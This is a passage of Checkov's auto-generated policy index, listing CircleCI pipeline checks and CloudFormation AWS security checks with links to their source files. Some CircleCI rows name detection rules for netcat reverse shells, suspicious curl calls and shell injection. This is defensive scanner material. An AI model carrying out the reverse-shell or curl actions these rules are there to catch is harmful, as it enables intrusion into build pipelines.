the pipeline image version is referenced via hash not arbitrary tag. | circleci_pipelines | [image_version_not_hash.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/circleci_pipelines/checks/image_version_not_hash.py)     |\n|  2 | CKV_CIRCLECIPIPELINES_3 | circleci_pipelines | orbs.{orbs: @}                                                                             | Ensure mutable development orbs are not used.                               | circleci_pipelines | [prevent_development_orbs.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/circleci_pipelines/checks/prevent_development_orbs.py) |\n|  3 | CKV_CIRCLECIPIPELINES_4 | circleci_pipelines | orbs.{orbs: @}                                                                             | Ensure unversioned volatile orbs are not used.                              | circleci_pipelines | [prevent_volatile_orbs.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/circleci_pipelines/checks/prevent_volatile_orbs.py)       |\n|  4 | CKV_CIRCLECIPIPELINES_5 | circleci_pipelines | jobs.*.steps[]                                                                             | Suspicious use of netcat with IP address                                    | circleci_pipelines | [ReverseShellNetcat.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/circleci_pipelines/checks/ReverseShellNetcat.py)             |\n|  5 | CKV_CIRCLECIPIPELINES_6 | circleci_pipelines | jobs.*.steps[]                                                                             | Ensure run commands are not vulnerable to shell injection                   | circleci_pipelines | [ShellInjection.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/circleci_pipelines/checks/ShellInjection.py)                     |\n|  6 | CKV_CIRCLECIPIPELINES_7 | circleci_pipelines | jobs.*.steps[]                                                                             | Suspicious use of curl in run task                                          | circleci_pipelines | [SuspectCurlInScript.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/circleci_pipelines/checks/SuspectCurlInScript.py)           |\n|  7 | CKV_CIRCLECIPIPELINES_8 | circleci_pipelines | executors.*.docker[].{image: image, __startline__: __startline__, __endline__:__endline__} | Detecting image usages in circleci pipelines                                | circleci_pipelines | [DetectImagesUsage.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/circleci_pipelines/checks/DetectImagesUsage.py)               |\n|  8 | CKV_CIRCLECIPIPELINES_8 | circleci_pipelines | jobs.*.docker[].{image: image, __startline__: __startline__, __endline__:__endline__}      | Detecting image usages in circleci pipelines                                | circleci_pipelines | [DetectImagesUsage.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/circleci_pipelines/checks/DetectImagesUsage.py)               |\n\n\n---\n\n\n"
  },
  {
    "path": "docs/5.Policy Index/cloudformation.md",
    "content": "---\nlayout: default\ntitle: cloudformation resource scans\nnav_order: 1\n---\n\n# cloudformation resource scans (auto generated)\n\n|      | Id          | Type     | Entity                                                           | Policy                                                                                                                                                                                                   | IaC            | Resource Link                                                                                                                                                                                                         |\n|------|-------------|----------|------------------------------------------------------------------|----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|----------------|-----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|\n|    0 | CKV_AWS_2   | resource | AWS::ElasticLoadBalancingV2::Listener                            | Ensure ALB protocol is HTTPS                                                                                                                                                                             | Cloudformation | [ALBListenerHTTPS.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/ALBListenerHTTPS.py)                                                                               |\n|    1 | CKV_AWS_3   | resource | AWS::EC2::Volume                                                 | Ensure all data stored in the EBS is securely encrypted                                                                                                                                                  | Cloudformation | [EBSEncryption.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/EBSEncryption.py)                                                                                     |\n|    2 | CKV_AWS_5   | resource | AWS::Elasticsearch::Domain                                       | Ensure all data stored in the Elasticsearch is securely encrypted at rest                                                                                                                                | Cloudformation | [ElasticsearchEncryption.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/ElasticsearchEncryption.py)                                                                 |\n|    3 | CKV_AWS_6   | resource | AWS::Elasticsearch::Domain                                       | Ensure all Elasticsearch has node-to-node encryption enabled                                                                                                                                             | Cloudformation | [ElasticsearchNodeToNodeEncryption.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/ElasticsearchNodeToNodeEncryption.py)                                             |\n|    4 | CKV_AWS_7   | resource | AWS::KMS::Key                                                    | Ensure rotation for customer created CMKs is enabled                                                                                                                                                     | Cloudformation | [KMSRotation.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/KMSRotation.py)                                                                                         |\n|    5 | CKV_AWS_8   | resource | AWS::AutoScaling::LaunchConfiguration                            | Ensure all data stored in the Launch configuration EBS is securely encrypted                                                                                                                             | Cloudformation | [LaunchConfigurationEBSEncryption.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/LaunchConfigurationEBSEncryption.py)                                               |\n|    6 | CKV_AWS_16  | resource | AWS::RDS::DBInstance                                             | Ensure all data stored in the RDS is securely encrypted at rest                                                                                                                                          | Cloudformation | [RDSEncryption.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/RDSEncryption.py)                                                                                     |\n|    7 | CKV_AWS_17  | resource | AWS::RDS::DBInstance                                             | Ensure all data stored in RDS is not publicly accessible                                                                                                                                                 | Cloudformation | [RDSPubliclyAccessible.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/RDSPubliclyAccessible.py)                                                                     |\n|    8 | CKV_AWS_18  | resource | AWS::S3::Bucket                                                  | Ensure the S3 bucket has access logging enabled                                                                                                                                                          | Cloudformation | [S3AccessLogs.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/S3AccessLogs.py)                                                                                       |\n|    9 | CKV_AWS_19  | resource | AWS::S3::Bucket                                                  | Ensure the S3 bucket has server-side-encryption enabled                                                                                                                                                  | Cloudformation | [S3Encryption.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/S3Encryption.py)                                                                                       |\n|   10 | CKV_AWS_20  | resource | AWS::S3::Bucket                                                  | Ensure the S3 bucket does not allow READ permissions to everyone                                                                                                                                         | Cloudformation | [S3PublicACLRead.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/S3PublicACLRead.py)                                                                                 |\n|   11 | CKV_AWS_21  | resource | AWS::S3::Bucket                                                  | Ensure the S3 bucket has versioning enabled                                                                                                                                                              | Cloudformation | [S3Versioning.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/S3Versioning.py)                                                                                       |\n|   12 | CKV_AWS_23  | resource | AWS::EC2::SecurityGroup                                          | Ensure every security groups rule has a description                                                                                                                                                      | Cloudformation | [SecurityGroupRuleDescription.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/SecurityGroupRuleDescription.py)                                                       |\n|   13 | CKV_AWS_23  | resource | AWS::EC2::SecurityGroupEgress                                    | Ensure every security groups rule has a description                                                                                                                                                      | Cloudformation | [SecurityGroupRuleDescription.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/SecurityGroupRuleDescription.py)                                                       |\n|   14 | CKV_AWS_23  | resource | AWS::EC2::SecurityGroupIngress                                   | Ensure every security groups rule has a description                                                                                                                                                      | Cloudformation | [SecurityGroupRuleDescription.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/SecurityGroupRuleDescription.py)                                                       |\n|   15 | CKV_AWS_24  | resource | AWS::EC2::SecurityGroup                                          | Ensure no security groups allow ingress from 0.0.0.0:0 to port 22                                                                                                                                        | Cloudformation | [SecurityGroupUnrestrictedIngress22.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/SecurityGroupUnrestrictedIngress22.py)                                           |\n|   16 | CKV_AWS_24  | resource | AWS::EC2::SecurityGroupIngress                                   | Ensure no security groups allow ingress from 0.0.0.0:0 to port 22                                                                                                                                        | Cloudformation | [SecurityGroupUnrestrictedIngress22.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/SecurityGroupUnrestrictedIngress22.py)                                           |\n|   17 | CKV_AWS_25  | resource | AWS::EC2::SecurityGroup                                          | Ensure no security groups allow ingress from 0.0.0.0:0 to port 3389                                                                                                                                      | Cloudformation | [SecurityGroupUnrestrictedIngress3389.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/SecurityGroupUnrestrictedIngress3389.py)                                       |\n|   18 | CKV_AWS_25  | resource | AWS::EC2::SecurityGroupIngress                                   | Ensure no security groups allow ingress from 0.0.0.0:0 to port 3389                                                                                                                                      | Cloudformation | [SecurityGroupUnrestrictedIngress3389.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/SecurityGroupUnrestrictedIngress3389.py)                                       |\n|   19 | CKV_AWS_26  | resource | AWS::SNS::Topic                                                  | Ensure all data stored in the SNS topic is encrypted                                                                                                                                                     | Cloudformation | [SNSTopicEncryption.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/SNSTopicEncryption.py)                                                                           |\n|   20 | CKV_AWS_27  | resource | AWS::SQS::Queue                                                  | Ensure all data stored in the SQS queue is encrypted                                                                                                                                                     | Cloudformation | [SQSQueueEncryption.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/SQSQueueEncryption.py)                                                                           |\n|   21 | CKV_AWS_28  | resource | AWS::DynamoDB::Table                                             | Ensure DynamoDB point in time recovery (backup) is enabled                                                                                                                                               | Cloudformation | [DynamodbRecovery.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/DynamodbRecovery.py)                                                                               |\n|   22 | CKV_AWS_29  | resource | AWS::ElastiCache::ReplicationGroup                               | Ensure all data stored in the ElastiCache Replication Group is securely encrypted at rest                                                                                                                | Cloudformation | [ElasticacheReplicationGroupEncryptionAtRest.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/ElasticacheReplicationGroupEncryptionAtRest.py)                         |\n|   23 | CKV_AWS_30  | resource | AWS::ElastiCache::ReplicationGroup                               | Ensure all data stored in the ElastiCache Replication Group is securely encrypted at transit                                                                                                             | Cloudformation | [ElasticacheReplicationGroupEncryptionAtTransit.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/ElasticacheReplicationGroupEncryptionAtTransit.py)                   |\n|   24 | CKV_AWS_31  | resource | AWS::ElastiCache::ReplicationGroup                               | Ensure all data stored in the ElastiCache Replication Group is securely encrypted at transit and has auth token                                                                                          | Cloudformation | [ElasticacheReplicationGroupEncryptionAtTransitAuthToken.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/ElasticacheReplicationGroupEncryptionAtTransitAuthToken.py) |\n|   25 | CKV_AWS_32  | resource | AWS::ECR::Repository                                             | Ensure ECR policy is not set to public                                                                                                                                                                   | Cloudformation | [ECRPolicy.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/ECRPolicy.py)                                                                                             |\n|   26 | CKV_AWS_33  | resource | AWS::KMS::Key                                                    | Ensure KMS key policy does not contain wildcard (*) principal                                                                                                                                            | Cloudformation | [KMSKeyWildCardPrincipal.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/KMSKeyWildCardPrincipal.py)                                                                 |\n|   27 | CKV_AWS_34  | resource | AWS::CloudFront::Distribution                                    | Ensure CloudFront Distribution ViewerProtocolPolicy is set to HTTPS                                                                                                                                      | Cloudformation | [CloudfrontDistributionEncryption.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/CloudfrontDistributionEncryption.py)                                               |\n|   28 | CKV_AWS_35  | resource | AWS::CloudTrail::Trail                                           | Ensure CloudTrail logs are encrypted at rest using KMS CMKs                                                                                                                                              | Cloudformation | [CloudtrailEncryption.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/CloudtrailEncryption.py)                                                                       |\n|   29 | CKV_AWS_36  | resource | AWS::CloudTrail::Trail                                           | Ensure CloudTrail log file validation is enabled                                                                                                                                                         | Cloudformation | [CloudtrailLogValidation.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/CloudtrailLogValidation.py)                                                                 |\n|   30 | CKV_AWS_40  | resource | AWS::IAM::Policy                                                 | Ensure IAM policies are attached only to groups or roles (Reducing access management complexity may in-turn reduce opportunity for a principal to inadvertently receive or retain excessive privileges.) | Cloudformation | [IAMPolicyAttachedToGroupOrRoles.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/IAMPolicyAttachedToGroupOrRoles.py)                                                 |\n|   31 | CKV_AWS_42  | resource | AWS::EFS::FileSystem                                             | Ensure EFS is securely encrypted                                                                                                                                                                         | Cloudformation | [EFSEncryptionEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/EFSEncryptionEnabled.py)                                                                       |\n|   32 | CKV_AWS_43  | resource | AWS::Kinesis::Stream                                             | Ensure Kinesis Stream is securely encrypted                                                                                                                                                              | Cloudformation | [KinesisStreamEncryptionType.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/KinesisStreamEncryptionType.py)                                                         |\n|   33 | CKV_AWS_44  | resource | AWS::Neptune::DBCluster                                          | Ensure Neptune storage is securely encrypted                                                                                                                                                             | Cloudformation | [NeptuneClusterStorageEncrypted.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/NeptuneClusterStorageEncrypted.py)                                                   |\n|   34 | CKV_AWS_45  | resource | AWS::Lambda::Function                                            | Ensure no hard-coded secrets exist in Lambda environment                                                                                                                                                 | Cloudformation | [LambdaEnvironmentCredentials.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/LambdaEnvironmentCredentials.py)                                                       |\n|   35 | CKV_AWS_45  | resource | AWS::Serverless::Function                                        | Ensure no hard-coded secrets exist in Lambda environment                                                                                                                                                 | Cloudformation | [LambdaEnvironmentCredentials.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/LambdaEnvironmentCredentials.py)                                                       |\n|   36 | CKV_AWS_46  | resource | AWS::EC2::Instance                                               | Ensure no hard-coded secrets exist in EC2 user data                                                                                                                                                      | Cloudformation | [EC2Credentials.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/EC2Credentials.py)                                                                                   |\n|   37 | CKV_AWS_47  | resource | AWS::DAX::Cluster                                                | Ensure DAX is encrypted at rest (default is unencrypted)                                                                                                                                                 | Cloudformation | [DAXEncryption.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/DAXEncryption.py)                                                                                     |\n|   38 | CKV_AWS_51  | resource | AWS::ECR::Repository                                             | Ensure ECR Image Tags are immutable                                                                                                                                                                      | Cloudformation | [ECRImmutableTags.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/ECRImmutableTags.py)                                                                               |\n|   39 | CKV_AWS_53  | resource | AWS::S3::Bucket                                                  | Ensure S3 bucket has block public ACLs enabled                                                                                                                                                           | Cloudformation | [S3BlockPublicACLs.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/S3BlockPublicACLs.py)                                                                             |\n|   40 | CKV_AWS_54  | resource | AWS::S3::Bucket                                                  | Ensure S3 bucket has block public policy enabled                                                                                                                                                         | Cloudformation | [S3BlockPublicPolicy.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/S3BlockPublicPolicy.py)                                                                         |\n|   41 | CKV_AWS_55  | resource | AWS::S3::Bucket                                                  | Ensure S3 bucket has ignore public ACLs enabled                                                                                                                                                          | Cloudformation | [S3IgnorePublicACLs.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/S3IgnorePublicACLs.py)                                                                           |\n|   42 | CKV_AWS_56  | resource | AWS::S3::Bucket                                                  | Ensure S3 bucket has RestrictPublicBuckets enabled                                                                                                                                                       | Cloudformation | [S3RestrictPublicBuckets.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/S3RestrictPublicBuckets.py)                                                                 |\n|   43 | CKV_AWS_57  | resource | AWS::S3::Bucket                                                  | Ensure the S3 bucket does not allow WRITE permissions to everyone                                                                                                                                        | Cloudformation | [S3PublicACLWrite.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/S3PublicACLWrite.py)                                                                               |\n|   44 | CKV_AWS_58  | resource | AWS::EKS::Cluster                                                | Ensure EKS Cluster has Secrets Encryption Enabled                                                                                                                                                        | Cloudformation | [EKSSecretsEncryption.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/EKSSecretsEncryption.py)                                                                       |\n|   45 | CKV_AWS_59  | resource | AWS::ApiGateway::Method                                          | Ensure there is no open access to back-end resources through API                                                                                                                                         | Cloudformation | [APIGatewayAuthorization.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/APIGatewayAuthorization.py)                                                                 |\n|   46 | CKV_AWS_60  | resource | AWS::IAM::Role                                                   | Ensure IAM role allows only specific services or principals to assume it                                                                                                                                 | Cloudformation | [IAMRoleAllowsPublicAssume.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/IAMRoleAllowsPublicAssume.py)                                                             |\n|   47 | CKV_AWS_61  | resource | AWS::IAM::Role                                                   | Ensure AWS IAM policy does not allow assume role permission across all services                                                                                                                          | Cloudformation | [IAMRoleAllowAssumeFromAccount.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/IAMRoleAllowAssumeFromAccount.py)                                                     |\n|   48 | CKV_AWS_62  | resource | AWS::IAM::Group                                                  | Ensure no IAM policies that allow full \"*-*\" administrative privileges are not created                                                                                                                   | Cloudformation | [IAMAdminPolicyDocument.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/IAMAdminPolicyDocument.py)                                                                   |\n|   49 | CKV_AWS_62  | resource | AWS::IAM::Policy                                                 | Ensure no IAM policies that allow full \"*-*\" administrative privileges are not created                                                                                                                   | Cloudformation | [IAMAdminPolicyDocument.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/IAMAdminPolicyDocument.py)                                                                   |\n|   50 | CKV_AWS_62  | resource | AWS::IAM::Role                                                   | Ensure no IAM policies that allow full \"*-*\" administrative privileges are not created                                                                                                                   | Cloudformation | [IAMAdminPolicyDocument.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/IAMAdminPolicyDocument.py)                                                                   |\n|   51 | CKV_AWS_62  | resource | AWS::IAM::User                                                   | Ensure no IAM policies that allow full \"*-*\" administrative privileges are not created                                                                                                                   | Cloudformation | [IAMAdminPolicyDocument.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/IAMAdminPolicyDocument.py)                                                                   |\n|   52 | CKV_AWS_63  | resource | AWS::IAM::Group                                                  | Ensure no IAM policies documents allow \"*\" as a statement's actions                                                                                                                                      | Cloudformation | [IAMStarActionPolicyDocument.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/IAMStarActionPolicyDocument.py)                                                         |\n|   53 | CKV_AWS_63  | resource | AWS::IAM::Policy                                                 | Ensure no IAM policies documents allow \"*\" as a statement's actions                                                                                                                                      | Cloudformation | [IAMStarActionPolicyDocument.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/IAMStarActionPolicyDocument.py)                                                         |\n|   54 | CKV_AWS_63  | resource | AWS::IAM::Role                                                   | Ensure no IAM policies documents allow \"*\" as a statement's actions                                                                                                                                      | Cloudformation | [IAMStarActionPolicyDocument.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/IAMStarActionPolicyDocument.py)                                                         |\n|   55 | CKV_AWS_63  | resource | AWS::IAM::User                                                   | Ensure no IAM policies documents allow \"*\" as a statement's actions                                                                                                                                      | Cloudformation | [IAMStarActionPolicyDocument.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/IAMStarActionPolicyDocument.py)                                                         |\n|   56 | CKV_AWS_64  | resource | AWS::Redshift::Cluster                                           | Ensure all data stored in the Redshift cluster is securely encrypted at rest                                                                                                                             | Cloudformation | [RedshiftClusterEncryption.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/RedshiftClusterEncryption.py)                                                             |\n|   57 | CKV_AWS_65  | resource | AWS::ECS::Cluster                                                | Ensure container insights are enabled on ECS cluster                                                                                                                                                     | Cloudformation | [ECSClusterContainerInsights.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/ECSClusterContainerInsights.py)                                                         |\n|   58 | CKV_AWS_66  | resource | AWS::Logs::LogGroup                                              | Ensure that CloudWatch Log Group specifies retention days                                                                                                                                                | Cloudformation | [CloudWatchLogGroupRetention.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/CloudWatchLogGroupRetention.py)                                                         |\n|   59 | CKV_AWS_67  | resource | AWS::CloudTrail::Trail                                           | Ensure CloudTrail is enabled in all Regions                                                                                                                                                              | Cloudformation | [CloudtrailMultiRegion.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/CloudtrailMultiRegion.py)                                                                     |\n|   60 | CKV_AWS_68  | resource | AWS::CloudFront::Distribution                                    | CloudFront Distribution should have WAF enabled                                                                                                                                                          | Cloudformation | [WAFEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/WAFEnabled.py)                                                                                           |\n|   61 | CKV_AWS_69  | resource | AWS::AmazonMQ::Broker                                            | Ensure Amazon MQ Broker should not have public access                                                                                                                                                    | Cloudformation | [AmazonMQBrokerPublicAccess.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/AmazonMQBrokerPublicAccess.py)                                                           |\n|   62 | CKV_AWS_71  | resource | AWS::Redshift::Cluster                                           | Ensure Redshift Cluster logging is enabled                                                                                                                                                               | Cloudformation | [RedshiftClusterLogging.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/RedshiftClusterLogging.py)                                                                   |\n|   63 | CKV_AWS_73  | resource | AWS::ApiGateway::Stage                                           | Ensure API Gateway has X-Ray Tracing enabled                                                                                                                                                             | Cloudformation | [APIGatewayXray.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/APIGatewayXray.py)                                                                                   |\n|   64 | CKV_AWS_73  | resource | AWS::Serverless::Api                                             | Ensure API Gateway has X-Ray Tracing enabled                                                                                                                                                             | Cloudformation | [APIGatewayXray.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/APIGatewayXray.py)                                                                                   |\n|   65 | CKV_AWS_74  | resource | AWS::DocDB::DBCluster                                            | Ensure DocumentDB is encrypted at rest (default is unencrypted)                                                                                                                                          | Cloudformation | [DocDBEncryption.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/DocDBEncryption.py)                                                                                 |\n|   66 | CKV_AWS_76  | resource | AWS::ApiGateway::Stage                                           | Ensure API Gateway has Access Logging enabled                                                                                                                                                            | Cloudformation | [APIGatewayAccessLogging.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/APIGatewayAccessLogging.py)                                                                 |\n|   67 | CKV_AWS_76  | resource | AWS::Serverless::Api                                             | Ensure API Gateway has Access Logging enabled                                                                                                                                                            | Cloudformation | [APIGatewayAccessLogging.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/APIGatewayAccessLogging.py)                                                                 |\n|   68 | CKV_AWS_78  | resource | AWS::CodeBuild::Project                                          | Ensure that CodeBuild Project encryption is not disabled                                                                                                                                                 | Cloudformation | [CodeBuildProjectEncryption.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/CodeBuildProjectEncryption.py)                                                           |\n|   69 | CKV_AWS_79  | resource | AWS::EC2::LaunchTemplate                                         | Ensure Instance Metadata Service Version 1 is not enabled                                                                                                                                                | Cloudformation | [IMDSv1Disabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/IMDSv1Disabled.py)                                                                                   |\n|   70 | CKV_AWS_80  | resource | AWS::MSK::Cluster                                                | Ensure MSK Cluster logging is enabled                                                                                                                                                                    | Cloudformation | [MSKClusterLogging.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/MSKClusterLogging.py)                                                                             |\n|   71 | CKV_AWS_81  | resource | AWS::MSK::Cluster                                                | Ensure MSK Cluster encryption in rest and transit is enabled                                                                                                                                             | Cloudformation | [MSKClusterEncryption.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/MSKClusterEncryption.py)                                                                       |\n|   72 | CKV_AWS_82  | resource | AWS::Athena::WorkGroup                                           | Ensure Athena Workgroup should enforce configuration to prevent client disabling encryption                                                                                                              | Cloudformation | [AthenaWorkgroupConfiguration.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/AthenaWorkgroupConfiguration.py)                                                       |\n|   73 | CKV_AWS_83  | resource | AWS::Elasticsearch::Domain                                       | Ensure Elasticsearch Domain enforces HTTPS                                                                                                                                                               | Cloudformation | [ElasticsearchDomainEnforceHTTPS.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/ElasticsearchDomainEnforceHTTPS.py)                                                 |\n|   74 | CKV_AWS_84  | resource | AWS::Elasticsearch::Domain                                       | Ensure Elasticsearch Domain Logging is enabled                                                                                                                                                           | Cloudformation | [ElasticsearchDomainLogging.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/ElasticsearchDomainLogging.py)                                                           |\n|   75 | CKV_AWS_84  | resource | AWS::OpenSearchService::Domain                                   | Ensure Elasticsearch Domain Logging is enabled                                                                                                                                                           | Cloudformation | [ElasticsearchDomainLogging.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/ElasticsearchDomainLogging.py)                                                           |\n|   76 | CKV_AWS_85  | resource | AWS::DocDB::DBCluster                                            | Ensure DocumentDB Logging is enabled                                                                                                                                                                     | Cloudformation | [DocDBLogging.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/DocDBLogging.py)                                                                                       |\n|   77 | CKV_AWS_86  | resource | AWS::CloudFront::Distribution                                    | Ensure CloudFront Distribution has Access Logging enabled                                                                                                                                                | Cloudformation | [CloudfrontDistributionLogging.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/CloudfrontDistributionLogging.py)                                                     |\n|   78 | CKV_AWS_87  | resource | AWS::Redshift::Cluster                                           | Redshift cluster should not be publicly accessible                                                                                                                                                       | Cloudformation | [RedshiftClusterPubliclyAccessible.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/RedshiftClusterPubliclyAccessible.py)                                             |\n|   79 | CKV_AWS_88  | resource | AWS::EC2::Instance                                               | EC2 instance should not have public IP.                                                                                                                                                                  | Cloudformation | [EC2PublicIP.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/EC2PublicIP.py)                                                                                         |\n|   80 | CKV_AWS_88  | resource | AWS::EC2::LaunchTemplate                                         | EC2 instance should not have public IP.                                                                                                                                                                  | Cloudformation | [EC2PublicIP.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/EC2PublicIP.py)                                                                                         |\n|   81 | CKV_AWS_89  | resource | AWS::DMS::ReplicationInstance                                    | DMS replication instance should not be publicly accessible                                                                                                                                               | Cloudformation | [DMSReplicationInstancePubliclyAccessible.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/DMSReplicationInstancePubliclyAccessible.py)                               |\n|   82 | CKV_AWS_90  | resource | AWS::DocDB::DBClusterParameterGroup                              | Ensure DocumentDB TLS is not disabled                                                                                                                                                                    | Cloudformation | [DocDBTLS.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/DocDBTLS.py)                                                                                               |\n|   83 | CKV_AWS_91  | resource | AWS::ElasticLoadBalancingV2::LoadBalancer                        | Ensure the ELBv2 (Application/Network) has access logging enabled                                                                                                                                        | Cloudformation | [ELBv2AccessLogs.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/ELBv2AccessLogs.py)                                                                                 |\n|   84 | CKV_AWS_92  | resource | AWS::ElasticLoadBalancing::LoadBalancer                          | Ensure the ELB has access logging enabled                                                                                                                                                                | Cloudformation | [ELBAccessLogs.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/resource/aws/ELBAccessLogs.py)                                                                                     |\n|   85 | CKV_AWS_94  | resource | AWS::Glue::DataCatalogEncryptionSettings                         | Ensure Glue Data Catalog Encryption is enabled                                                                                                                                                           | Cloudformation | 